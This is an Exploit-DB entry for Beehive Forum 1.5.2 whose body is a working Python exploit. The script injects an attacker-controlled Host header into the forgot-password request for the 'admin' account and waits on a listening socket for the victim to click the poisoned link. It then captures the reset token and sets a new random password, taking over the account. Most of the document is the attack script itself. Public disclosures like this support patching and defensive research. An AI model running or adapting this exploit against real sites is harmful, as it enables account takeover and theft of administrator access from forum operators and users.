Exploit-DB #50923
Description: Beehive Forum - Account Takeover
Type: webapps
Platform: php
Date: 2022-05-11
Author: Pablo Santiago

Exploit:
# Exploit Title: Beehive Forum - Account Takeover
# Date:08/05/2022.
# Exploit Author: Pablo Santiago
# Vendor Homepage: https://www.beehiveforum.co.uk/
# Software Link: https://sourceforge.net/projects/beehiveforum/
# Version: 1.5.2
# Tested on: Kali Linux and Ubuntu 20.0.4
# CVE N/A
# PoC: https://imgur.com/a/hVlgpCg

# Vulnerability: In the functionality "forgot password", it's possible to
modify the Header "Host", #injecting malicious host, allowing stealing the
token and resetting the password from a victim.#(Requires user interaction)

import requests
from bs4 import BeautifulSoup
import socket
import sys
import urllib.parse
import random
import string

endpoint = sys.argv[1]
lhost = sys.argv[2]
lport = int(sys.argv[3])
hostheader = f'{lhost}:{lport}'
url_forgot = f'http://{endpoint}/forum/forgot_pw.php'
url_change = f'http://{endpoint}/forum/change_pw.php'

def init_req():
    session = requests.Session()
    r = session.get(url_forgot)
    cookie = session.cookies.get_dict()
    cookie = cookie['sess_hash']
    soup = BeautifulSoup(r.text, 'lxml')
    hash_request = soup.input['id']
    csrf_token = soup.input['value']
    return hash_request, csrf_token, cookie

def forgot_req(hash_request: str, csrf_token: str, cookie: str):

    headers= {
        'Host': hostheader,
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0)
Gecko/20100101 Firefox/97.0',
        'Accept-Language': 'es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3',
        'Cookie' : 'sess_hash=' + cookie
    }

    data = {
        hash_request : csrf_token,
        'webtag' : 'TEST',
        'logon' : 'admin',
        'request' : 'Request'
    }

    r = requests.post(url_forgot, headers=headers, data=data)
    if('You should shortly receive an e-mail containing instructions for
resetting your password' in r.text):
        print('')
        print('[*] A mail has been sent to the victim')
        socket_req()
    else:
        print('[*] The mail has not been sent')

def socket_req():

    print(f"[*] Listening on port {lport}...." )
    print('[*] Waitting the victim clicks in the malicious link\n')
    s = socket.socket()
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    s.bind((lhost, lport))
    s.listen()
    (sock_c, _) = s.accept()
    get_request = sock_c.recv(4096)
    user_token = urllib.parse.unquote_plus(get_request.split(b"
HTTP")[0][-13:].decode("UTF-8"))

    print("[*] Stole token: " + user_token)
    change_pw(user_token)

def change_pw(user_token: str):
    c = string.ascii_letters + string.digits
    password = ''.join(random.choice(c) for _ in range(6))
    hash_request, csrf_token, cookie = init_req()
    headers= {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0)
Gecko/20100101 Firefox/97.0',
        'Accept-Language': 'es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3',
        'Cookie' : 'sess_hash=' + cookie
    }
    data = {
        hash_request : csrf_token,
        'webtag' : 'TEST',
        'u' : '1',
        'h' : user_token,
        'pw' : password,
        'cpw' : password,
        'save' : 'Save'
    }

    r = requests.post(url_change, headers=headers, data=data)
    if('Your password has been changed' in r.text):
        print(f'[*] The password has been changed to: {password}')

    else:
        print('[*] The password has been changed')


hash_request, csrf_token, cookie = init_req()
forgot_req(hash_request, csrf_token, cookie)